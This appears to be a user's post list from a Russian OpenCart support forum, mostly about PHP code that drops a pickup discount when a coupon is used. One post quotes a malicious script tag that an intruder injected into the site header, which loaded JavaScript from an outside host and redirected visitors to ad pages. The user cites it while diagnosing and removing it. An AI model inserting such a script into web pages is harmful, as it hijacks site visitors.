sashamaximiv
Пользователи-
Публикаций
175 -
Зарегистрирован
-
Посещение
О sashamaximiv
- День рождения 9 июля
Посетители профиля
Достижения sashamaximiv
-
Повышение google pagespeed хотя бы до 60 пунктов
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
Добрый день. Точно не могу сказать, так как было уже давно. Но решили отказаться от него по причине плохого рейтинга по google pagespeed, который никак не удалось поднять. -
Вирусная реклама на сайте
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
вот к слову что ответили в поддержке: https://prnt.sc/szfxxl -
Вирусная реклама на сайте
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
вопрос решен. какой то черт умудрился запихнуть в шапку вот это <script src="https://en.bro.kim/js/yokosushi.ru.js"></script> и даже не додумался закодировать содержимое и разместить его в каком то системной скрипт-файле, например common. -
Вирусная реклама на сайте
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
спасибо, поправил. но разве из-за этого могла возникать подобная проблема? -
Проверка - активирован ли купон
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
Огромное спасибо spectre. решение помогло идеально. Прикрепляю полный код если кому надо: файл: /catalog/model/extension/shipping/pickup.php <?php class ModelExtensionShippingPickup extends Model { function getQuote($address) { $this->load->language('extension/shipping/pickup'); $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$this->config->get('pickup_geo_zone_id') . "' AND country_id = '" . (int)$address['country_id'] . "' AND (zone_id = '" . (int)$address['zone_id'] . "' OR zone_id = '0')"); $coupon_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "coupon` WHERE code = '" . $this->db->escape($code) . "' AND ((date_start = '0000-00-00' OR date_start < NOW()) AND (date_end = '0000-00-00' OR date_end > NOW())) AND status = '1'"); if (!$this->config->get('pickup_geo_zone_id')) { $status = true; } elseif ($query->num_rows) { $status = true; } else { $status = false; } $method_data = array(); if ($status) { $quote_data = array(); $statuscoupon = $this->session->data['coupon']; if (!$statuscoupon) { $cost = $this->cart->getSubTotal() - ($this->cart->getSubTotal() * 0.9); } $quote_data['pickup'] = array( 'code' => 'pickup.pickup', 'title' => $this->language->get('text_description'), 'cost' => -$cost, 'tax_class_id' => $this->config->get('total_shipping_tax_class_id'), 'text' => '( - ' . $this->currency->format($cost, $this->session->data['currency']) . ')', ); $method_data = array( 'code' => 'pickup', 'title' => $this->language->get('text_title'), 'quote' => $quote_data, 'sort_order' => $this->config->get('pickup_sort_order'), 'error' => false ); } return $method_data; } }- 11 ответов
-
Вирусная реклама на сайте
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
к слову перебрасывает в яндекс на блокчейн. попробую изменить на https потом отпишусь -
Вирусная реклама на сайте
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
т.е. тут поставить? https://prnt.sc/sz8dqw -
Вирусная реклама на сайте
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
странно, вроде настроил https://prnt.sc/sz8bb2 а что не так? -
Добрый день. После перехода на сайт из соц сетей (особенно вк), происходит редирект на рекламные страницы. Только для российской аудитории, у людей с других стран сайт открывается нормально. ссылка под спойлером. если кликнуть перейти на сайт, открывается рекламный сайт: подскажите в какую сторону копать? opencart 2.3.0.2
-
[Решено] OCMOD дикий тормоз
sashamaximiv ответил в теме пользователя alone69li в Opencart 2.x: Общие вопросы
благодарю, помиогло. гляньте какой сайт я обслуживать начал https://prnt.sc/sypg3q лог ошибок почти 23 гб)))) как это возможно) -
Проверка - активирован ли купон
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
да, вы правы. проще сделать так уже: if (!$statuscoupon) { $cost = $this->cart->getSubTotal() - ($this->cart->getSubTotal() * 0.9); } а можно поподробнее на счет isset?- 11 ответов
-
Проверка - активирован ли купон
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
Именно это) Спасибо и вам spectre за идею) я так понимаю нужно сделать в контроллере самовывоза так: а дальше обернуть в условие:- 11 ответов
-
Проверка - активирован ли купон
sashamaximiv ответил в теме пользователя sashamaximiv в Opencart 2.x: Общие вопросы
Venter, спасибо за такой подробный ответ. Но мне нужно чтобы это условие действовало только при каждой сессии отдельно. Т.е. попал в корзину, ввел купон, оформил заказ и все, после этого информация о том что человек активировал купон будет удалятся. И если он опять зайдет в корзину но не введет купон, то на странице оформления заказа скидка на самовывоз будет опять -10%. А если введет код, тогда скидки на самовывоз не будет. Ну вы понимаете. Во всяком случае благодарю за такой подробный ответ.- 11 ответов
-
Доброго времени суток. На странице оформления заказа, при выборе способа Самовывоз, у меня автоматом отметается скидка 10% вот таким способом: в файле: \catalog\model\extension\shipping\pickup.php добавлен код: $cost = $this->cart->getSubTotal() - ($this->cart->getSubTotal() * 0.9); перед: $quote_data['pickup'] = array( полный код этого файла выглядит так: <?php class ModelExtensionShippingPickup extends Model { function getQuote($address) { $this->load->language('extension/shipping/pickup'); $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$this->config->get('pickup_geo_zone_id') . "' AND country_id = '" . (int)$address['country_id'] . "' AND (zone_id = '" . (int)$address['zone_id'] . "' OR zone_id = '0')"); if (!$this->config->get('pickup_geo_zone_id')) { $status = true; } elseif ($query->num_rows) { $status = true; } else { $status = false; } $method_data = array(); if ($status) { $quote_data = array(); $cost = $this->cart->getSubTotal() - ($this->cart->getSubTotal() * 0.9); $quote_data['pickup'] = array( 'code' => 'pickup.pickup', 'title' => $this->language->get('text_description'), 'cost' => -$cost, 'tax_class_id' => $this->config->get('total_shipping_tax_class_id'), 'text' => '( - ' . $this->currency->format($cost, $this->session->data['currency']) . ')', ); $method_data = array( 'code' => 'pickup', 'title' => $this->language->get('text_title'), 'quote' => $quote_data, 'sort_order' => $this->config->get('pickup_sort_order'), 'error' => false ); } return $method_data; } } Вопрос: можно как то сделать проверку в этом файле, которая узнает активировал ли пользователь какой либо купон? чтобы можно было запихнуть код в условие: if (код активирован = да) { $cost = $this->cart->getSubTotal() - ($this->cart->getSubTotal()); } else { $cost = $this->cart->getSubTotal() - ($this->cart->getSubTotal() * 0.9); } Как вы понимаете, если пользователь активировал какой либо купон, тогда нужно не применять скидку на самовывоз, и наоборот, если купон не применен, тогда активировать скидку 10% на самовывоз. Я не могу понять как можно сделать проверку на активацию купона, активирован какой то купон или нет...
- 11 ответов